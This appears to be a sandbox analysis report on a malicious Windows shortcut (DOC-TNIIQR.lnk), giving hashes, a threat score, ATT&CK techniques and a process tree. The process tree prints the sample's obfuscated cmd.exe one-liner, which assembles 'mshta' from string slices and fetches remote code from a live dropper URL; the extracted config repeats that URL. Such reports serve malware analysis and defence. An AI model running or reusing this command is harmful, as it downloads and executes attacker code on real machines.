aa2847be88c39d5832c64882122cf2f7b5bdfdc958f4fe7795f1c2995baa9ef8

Analysis

max time kernel
58s
max time network
63s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
17/08/2026, 04:46

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General

Target
DOC-TNIIQR.lnk
Size 2KB
Sample260817-fd8j5sem2t
SHA256 aa2847be88c39d5832c64882122cf2f7b5bdfdc958f4fe7795f1c2995baa9ef8
MD5 44a2c0a316e8e69aea27b2c77e034c26
SHA1 8c6e064d0a4e3eb56729dcad29ec1fd555b22078
SHA512 7c771c30a0cc4f5a8af60d5198df2f166fcc40cec4354c17a384468cae54f40e397dddf2a82a6d663c78f4389754987f9179fec732ce262f73f0dc628bc0f6f2
TLSH
T18A418B902AED12D8F2BB4E36EDFF338048B7B8526D60C65E0840814E0822F01D9B7B77
MD5 SHA1 SHA512 TLSH

Score

10^/10

execution

Malware Config

Extracted

Language

Source

URLs

hta.dropper
https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB

Signatures

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 1 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4740	cmd.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 4740 wrote to memory of 2996	4740	cmd.exe	90
PID 2996 wrote to memory of 2404	2996	cmd.exe	91

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\DOC-TNIIQR.lnk
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4740
- C:\WINDOWS\system32\cmd.exe
  "C:\WINDOWS\system32\cmd.exe" /d/V:on/c"set grH=infzlnlybugmioaedcainf&&set LGAB=syshwvfpqxwqvxbvqmcxsys&&set oZ=2b0s8&&set qUr=4gct7vk&&set OL=4martcnm&&set nN=sysucxmuwvhrbksys&&set ki=cacheljyijfcache&&set vZMb=36bmd&&set GoRl=qeshta4&&set BZST=cachehazuctniwralsbdbhsmacache&&set hltd=sysiabyfjtnrlrsnetattsys&&set ISD=dbgaeunndbg&&set nLUF=tmplorgyvxmcfyfobfzgtmp&&set KP=h@ttps:@//m@a-p@df@fi@l@ler.@la@t/@h@/@[email protected]@p?r=@3@914@69@FB5D@8@2@DB&&start /b !vZMb:~3,1!!GoRl:~2,4! !KP:@=!"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2996
- - C:\Windows\System32\mshta.exe
    mshta https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB
    3⤵
    PID:2404

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

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